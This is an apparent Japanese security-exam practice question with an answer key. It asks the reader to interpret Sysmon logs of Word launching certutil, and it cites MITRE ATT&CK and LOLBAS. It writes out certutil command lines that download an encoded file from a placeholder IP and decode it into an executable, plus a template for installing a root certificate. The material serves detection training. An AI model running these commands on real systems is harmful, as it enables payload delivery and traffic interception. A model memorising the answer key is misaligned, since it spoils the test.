certutil の悪用の読解
社員の PC でメールの添付ファイルの Word 文書を開いた直後に,Sysmon が次のプロセス作成イベント(ID 1)を記録した(パスは一部省略)。推測できる攻撃者の行動として,最も適切なものはどれか。
No ParentImage Image CommandLine
1 WINWORD.EXE certutil.exe certutil.exe -urlcache -split -f http://203.0.113.80/note.txt C:\Users\Public\note.txt
2 WINWORD.EXE certutil.exe certutil.exe -decode C:\Users\Public\note.txt C:\Users\Public\svc.exe- ア攻撃者が用意したルート証明書を certutil で信頼済みの証明書ストアに登録し,以後の HTTPS 通信を中間者として復号できるようにした。
- イPC 内の文書を certutil で Base64 に符号化し,HTTP を用いて外部のサーバへ送信した。
- ウWord が文書のデジタル署名を検証するために certutil を起動し,証明書の失効情報を取得してキャッシュした正常な動作である。
- エOS に標準で備わる certutil を悪用して,外部から Base64 で符号化されたファイルを取得し,実行ファイルに復号した。
正解と解説を見る
正解 エ
この問題の基礎知識
- certutil.exe は Windows に標準で備わる証明書管理用のコマンドであり,-urlcache で URL からファイルを取得でき,-encode と -decode で Base64 の符号化と復号を行える。
- OS に標準で備わる正規のツールを攻撃に悪用する手法は LotL(Living off the Land)と呼ばれ,正規のプログラムなので不審と判断されにくい。
- Sysmon のイベント ID 1 はプロセスの作成を記録し,ParentImage は親プロセス,Image は起動されたプログラム,CommandLine は引数を含むコマンドラインを示す。
- Office アプリケーションがコマンドラインツールを起動するのは不審な兆候である。
certutil によるルート証明書の登録(ATT&CK の Install Root Certificate)は -addstore などで行う。ログの -urlcache -split -f は URL からのファイルの取得,-decode は Base64 の復号であり,証明書ストアは操作していない。
符号化は -encode で行い,収集したデータを符号化する使い方は Archive via Utility に当たる。ログは外部の URL から PC へファイルを取得し,取得したファイルを -decode で復号しており,データの流れる向きが逆である。
取得先は IP アドレスで直接指定されたテキストファイルで,保存先は誰でも書き込める C:\Users\Public である。さらに取得したファイルを復号して .exe を作成しており,署名の検証に伴う正常な動作とは考えられない。
ATT&CK は certutil を,URL からのファイルの取得(Ingress Tool Transfer)や Base64 で隠されたバイナリの復号(Deobfuscate/Decode Files or Information)に使われるツールとしている。OS 標準ツールの悪用の典型である。
照合の根拠(8 件)
- エ(正解): certutil は URL からのファイルの取得(Ingress Tool Transfer)に使われる
Ingress Tool Transfer certutil can be used to download files from a given URL.
MITRE ATT&CK S0160 certutil · Techniques Used T1105(新しいタブで開きます) - エ(正解): certutil は Base64 で隠されたバイナリの復号に使われる
Deobfuscate/Decode Files or Information certutil has been used to decode binaries hidden inside certificate files as Base64 information.
MITRE ATT&CK S0160 certutil · Techniques Used T1140(新しいタブで開きます) - イ(誤り): 収集したデータの Base64 符号化は Archive via Utility
Archive Collected Data : Archive via Utility certutil may be used to Base64 encode collected data.
MITRE ATT&CK S0160 certutil · Techniques Used T1560.001(新しいタブで開きます) - ア(誤り): ルート証明書の登録は Install Root Certificate で,-addstore を使う
Subvert Trust Controls : Install Root Certificate certutil can be used to install browser root certificates as a precursor to performing Adversary-in-the-Middle between connections to banking websites. Example command: certutil -addstore -f -user ROOT ProgramData\cert512121.der .
MITRE ATT&CK S0160 certutil · Techniques Used T1553.004(新しいタブで開きます) - エ(正解)・ア(誤り): -urlcache -f は URL からのファイルのダウンロード
- Command: certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe} Description: Download and save an executable to disk in the current folder.
LOLBAS Certutil.exe · Download(新しいタブで開きます) - エ(正解)・イ(誤り): -decode は Base64 で符号化されたファイルの復号
- Command: certutil -decode {PATH:.base64} {PATH} Description: Command to decode a Base64 encoded file.
LOLBAS Certutil.exe · Decode(新しいタブで開きます) - イ(誤り): Base64 への符号化は -encode
- Command: certutil -encode {PATH} {PATH:.base64} Description: Command to encode a file using Base64
LOLBAS Certutil.exe · Encode(新しいタブで開きます) - エ(正解): certutil は Windows でツールのダウンロードに使われるユーティリティの一つ
On Windows, adversaries may use various utilities to download tools, such as copy , finger , certutil , and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest .
MITRE ATT&CK T1105 · Description(新しいタブで開きます)
ウ(署名検証に伴う正常動作)は,取得したファイルを -decode で .exe に復号している点から正解の根拠により排除される。オプションの意味は ATT&CK に無いため LOLBAS で補った。